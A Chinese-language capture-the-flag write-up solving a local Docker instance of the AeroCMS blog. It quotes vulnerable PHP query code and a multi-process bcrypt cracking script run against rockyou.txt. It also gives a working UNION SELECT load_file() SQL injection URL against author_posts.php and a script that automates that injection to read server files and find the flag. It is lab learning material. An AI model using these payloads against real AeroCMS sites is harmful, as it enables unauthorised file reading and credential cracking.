题目就一句话: Instructions in README.md inside the file.
然后给了个下载链接,下载下来是一个压缩包,解压后是源码、Dockerfile、README.md等文件。
先看 README 中几个地方比较关键:
- 这是一个开源的 Blog 系统,代码地址 https://github.com/MegaTKC/AeroCMS
- 有个字段动启动脚本:
./build_docker.sh
里面其实就是:docker build -t h1ker .
docker run --name=h1ker -d -p 1337:80 h1ker
- 最后如何清理。
执行 ./build_docker.sh
后,访问 http://localhost:1337/
就能看到一个博客系统了。
先看了登陆入口,没有明显的问题,放弃了登陆入口的注入尝试。
login.php
1 2 3 4 5 6 7 8 9 10
| $username = mysqli_real_escape_string($connection, trim($_POST['username'])); $password = mysqli_real_escape_string($connection, trim($_POST['password']));
$query = "SELECT * FROM users WHERE username = '$username'"; $result = mysqli_query($connection, $query); .... if(password_verify($password, $db_password)) { ..... header("Location: ../admin/index.php");
|
看了下 源码 search.php
1 2
| $query = "SELECT * FROM posts WHERE post_tags LIKE '%$search%'"; $result = mysqli_query($connection, $query);
|
有明显的注入点,直接 sqlmap 跑了一下,users
中有 admin 和密码,$2a$12$M8KMzrASFLbF.tEyC5bGRebyfk/.wyQn0yt39GbZi8TfixfgKo9Zm
,拿出去 cmd5 了一下,没有。
自己搞了个脚本跑爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php
ini_set('memory_limit', '-1'); $target = '$2a$12$M8KMzrASFLbF.tEyC5bGRebyfk/.wyQn0yt39GbZi8TfixfgKo9Zm'; $rock_you_list = file_get_contents("rockyou.txt"); $rock_you_list = explode("\n", $rock_you_list); $length = count($rock_you_list); $processCount = 8;
$chunkSize = ceil($length / $processCount);
for ($i = 0; $i < $processCount; $i++) { $pid = pcntl_fork();
if ($pid == -1) { die("无法创建子进程"); } elseif ($pid) { } else { $start = $i * $chunkSize; $end = min(($i + 1) * $chunkSize, $length);
for ($j = $start; $j < $end; $j++) { if($i==0){ echo sprintf("进度: $j / $end\r"); } if (password_verify($rock_you_list[$j], $target)) { echo "找到密码: " . $rock_you_list[$j] . PHP_EOL; exit; } } exit(); } }
while (pcntl_waitpid(0, $status) != -1) { $status = pcntl_wexitstatus($status); echo "子进程 $status 完成" . PHP_EOL; }
echo "未找到密码。" . PHP_EOL;
|
翻了翻这个密码的生成规则:在edit_user.php中
1
| $password = password_hash($password, PASSWORD_BCRYPT, array('cost' => 12));
|
果然用了 password_hash/password_verify,爆破不是一个简单的事儿。rockyou.txt 我这个 M1,需要大概 800+小时。
不过发现了一个工具: https://hashcat.net/hashcat/ ,可以用 GPU 加速爆破,不过我这个笔记本还没有兼容,就放弃尝试了。
想了想,这个题目应该不是让我们爆破密码的,打开https://www.exploit-db.com/ 搜了下 Aero CMS,3 个漏洞,两个 SQL 注入,一个 PHP Code Injection,其实看了 edit_user.php 中,还有一个文件上传漏洞,不过edit_user.php必须管理员登陆,所以这个漏洞暂时不可用。
最后还是回到 SQL 注入上,SQL 注入后,看看能不能写个 webshell,然后发现没权限,
1
| show variables like "%secure_file_priv%";
|
结果是空字符串,可以读取文件,但是/var/www/html 没权限不能写文件。
既然这样,那么就直接读取 flag 文件吧。
hackbar中试出可用的payload:
1
| http://localhost:1337/author_posts.php?author=admin1' UNION ALL SELECT 1,2,load_file("/var/www/html/admin/index.php"),4,5,6,7,8,9,10,11,12-- -&p_id=1
|
先看下项目 admin 下有多少文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| find ./admin -type f -name "*.php"
./admin/functions.php ./admin/post_comments.php ./admin/index.php ./admin/comments.php ./admin/includes/view_all_comments.php ./admin/includes/add_user.php ./admin/includes/edit_user.php ./admin/includes/update_categories.php ./admin/includes/edit_post.php ./admin/includes/add_post.php ./admin/includes/view_all_posts.php ./admin/includes/header.php ./admin/includes/footer.php ./admin/includes/delete_modal.php ./admin/includes/view_all_users.php ./admin/includes/navigation.php ./admin/users.php ./admin/profile.php ./admin/categories.php ./admin/posts.php
|
不算多,写个 PHP 脚本,读取所有文件内容,然后 grep flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $directory = './admin'; $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)); $phpFiles = []; foreach ($iterator as $file) { if ($file->isFile() && $file->getExtension() === 'php') { $phpFiles[] = $file->getPathname(); } } foreach ($phpFiles as $phpFile) { $relativePath = substr($phpFile, strlen($directory) + 1); $url = "http://localhost:1337/author_posts.php?author=admin1%27%20UNION%20ALL%20SELECT%201,2,load_file(%22/var/www/html/admin/$relativePath%22),4,5,6,7,8,9,10,11,12--%20-&p_id=1"; $result = file_get_contents($url); if (strpos($result, 'HMV') !== false) { echo "Found 'HMV' in $phpFile:\n"; echo "$result\n"; echo "------------------------\n"; } }
|
然后:
1 2
| php crack2.php Found 'HMV' in ./admin/categories.php:
|
后边就能看到 flag 了。